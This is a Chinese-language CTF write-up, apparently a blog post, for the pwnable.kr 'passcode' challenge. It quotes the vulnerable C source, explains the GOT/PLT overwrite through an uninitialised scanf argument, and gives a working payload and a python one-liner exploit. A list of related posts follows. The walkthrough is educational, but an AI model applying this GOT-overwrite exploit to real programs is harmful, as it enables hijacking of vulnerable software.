这道题的难点在于GOT表覆写,理解了GOT表和PLT表的关系就比较好做了。

函数在调用printf等函数的时候需要访问PLT表,而PLT表中储存的是GOT表对应项的地址。

另外一点就是scanf的参数如果没有加&地址符,就会把参数所在栈内的4个字节(我认为是因为题目中要传入%d是四字节的int型吧)当作地址,然后把缓冲区的数据输入进去。(在IDA中看,就是有加地址符,程序会执行lea指令,没加地址符,就会直接执行mov指令)

#include <stdio.h>
#include <stdlib.h>void login(){int passcode1;int passcode2;printf("enter passcode1 : ");scanf("%d", passcode1);//没加&,所以系统会把passcode1的值压入栈内,然后执行scanf函数fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d", passcode2);printf("checking...\n");if(passcode1==338150 && passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}
}void welcome(){char name[100];printf("enter you name : ");scanf("%100s", name);printf("Welcome %s!\n", name);
}int main(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return 0;

分析程序,发现welcome里开了一个很大的name数组,然后login函数里的scanf没有给参数加地址符&。

可以直接用objdump -d passcode或者gdb ./passcode后使用 disassemble welcome查看welcome函数的汇编

另外就是用scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode /home把passcode源文件拷贝到本地然后用IDA查看。

从上面两个图片可以看出name数组的栈底是-0x70ebp,passcode1栈底是-0x10ebp,而name数组有100个字节空间,所以只要name数组的最后四个字节空间正好是passcode1的值(0x70和0x10相差96个字节)

之后查看GOT表

我们可以让passcode1的值等于0804a000或者0804a004,因为print和fflush都会在scanf函数之后执行,把passcode1的值写成got表的地址,因为scanf参数没有加地址符,所以会直接把passcode1的值放入栈中,也就是got表的地址,然后执行scanf函数,把我们输入的值写入got表地址所代表的内存空间中。

这样之后在调用print或者fflush时会访问PLT表,然后根据PLT表内储存的GOT表的地址访问相应的GOT表项,然后执行GOT表项所指向的程序段落,这样我们就能通过修改GOT表内的内容,来随意控制程序执行我们想要执行的内容。

我们要获得flag就调用login函数里的system函数,地址是0x80485ea。

最后构造playload=" 'a'*96 + '\x00\xa0\x04\x08' +'\xea\x85\x04\x08' "

因为scanf是要求%d输入,所以0x080485ea=134514147

python -c "print('a'*96 + '\x00\xa0\x04\x08' +'134514147\n')"| ./passcode

https://blog.csdn.net/qq_18661257/article/details/54694748

https://www.cnblogs.com/binlmmhc/p/6189514.html

https://blog.csdn.net/qq_33528164/article/details/70505151

pwnable.kr-passcode相关推荐

  1. pwnable.kr passcode

    题目来自pwnable.kr 里面的思路是通过学习别人的文章获得的,作为个人的学习记录一下 题目是这样的 passcode SSH连接一下 看看有什么文件 可以看到有三个文件,其中 flag 只对创建 ...

  2. pwnable.kr - passcode

    这个题考查的是GOT表覆写 先来说说做题的思路和方法,看到源代码 void login(){int passcode1;int passcode2;printf("enter passcod ...

  3. [pwnable.kr]passcode

    题目描述里提到c编译的时候有警告,但是没报错 先看c源代码 #include <stdio.h> #include <stdlib.h>void login(){int pas ...

  4. pwnable.kr 简单题目详细笔记汇总

    文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...

  5. 【pwnable.kr】passcode

    pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是'&'的锅. #include <stdio.h> ...

  6. pwnable kr 之 passcode

    http://pwnable.kr/playproc.php?no=18 首先,需要对got表的一个基础认识 这里对got表和plt表进行一个简单的介绍 https://blog.csdn.net/q ...

  7. pwnable.kr第五题:passcode

    0x000打开环境 ①查看源码: 1 #include 2 #include 3 4 void login(){ 5 int passcode1; 6 int passcode2; 7 8 print ...

  8. pwnable.kr wp passcode

    题目 Mommy told me to make a passcode based login system. My initial C code was compiled without any e ...

  9. PWN passcode [pwnable.kr]CTF writeup题解系列5

    直接看题目: 连接服务器看看情况: root@mypwn:/ctf/work/pwnable.kr# ssh passcode@pwnable.kr -p2222 passcode@pwnable.k ...

  10. pwnable.kr之passcode

    passcode 下载下来的源代码 从源代码分析看出来,在scanf的时候passcode1和passcode2没有加地址符号,因此会存在题目中所说的警告. 这道题木一共两个函数,welcome和Lo ...

最新文章

  1. [Spring mvc 深度解析(一)] 详解Servlet
  2. (转载)封装bilibili播放器,自定义边下边播和缓存功能
  3. 【Qt】Qt 开发桌面程序 ( Qt 版本 5.14.2 | 编辑 Qt 桌面按钮控件 | 修改按钮文本 | 为按钮添加点击事件 | 系统调用 | 去掉系统调用命令窗口 )
  4. mysql count or null_sql 语句中count()有条件的时候为什么要加上or null
  5. Little Sub and Johann
  6. python中items属性的用法
  7. 聊聊JVM(三)两种计算Java对象大小的方法
  8. 前端学习(2017)vue之电商管理系统电商系统实现表单的预先认证
  9. java 怎么从性能上优化代码_月薪上万做好这一步:程序员职场中必须掌握的的Java代码性能优化技巧...
  10. Python标准库datetime中4种基本对象的用法
  11. ctrl+下箭头无法到最底端_设计院10年精选,最常用的CAD命令,绘图牛人都在用...
  12. 终于解决“百年一遇”奇怪问题
  13. 链接服务器 修改端口号,服务器修改远程链接端口号
  14. 抖音微信登录服务器繁忙,抖音微信登录不了_抖音微信登录不上原因解决介绍_游戏吧...
  15. mime 类型列表_MIME类型的完整列表
  16. 数学基础知识总结 —— 1. 常用导数公式
  17. arp映射表查看与管理
  18. 原创 | 全网最实在的docker入门教程一
  19. 基于Matlab使用地面雷达探测和跟踪LEO卫星星座仿真(附源码)
  20. 【Python实训项目】pygame制作【飞机大战】

热门文章

  1. 使用docker搭建web服务器,提示无法访问此网站,怎么解决
  2. office365安装后仍显示之前版本
  3. Markdown+Flowchart流程图语法
  4. 2022-6-25 12点 程序爱生活 恒指选择继续向上震荡,而且等来了推动前期上涨原因的一个消息:港股的ETF通过港股通可以交易
  5. 安全的网络通道——网络准入之三层准入
  6. AnkhSvn 在vs2015中没有起到作用问题
  7. win7计算机u盘不显示盘符,U盘不显示磁盘盘符的解决方法
  8. 【MWC 2022观察】华为绿色智简全光网:让联接释放数字化转型新动能
  9. windows .exe 文件默认打开方式变成记事本的解决方法
  10. (10.2.1)15款优秀移动APP产品原型设计工具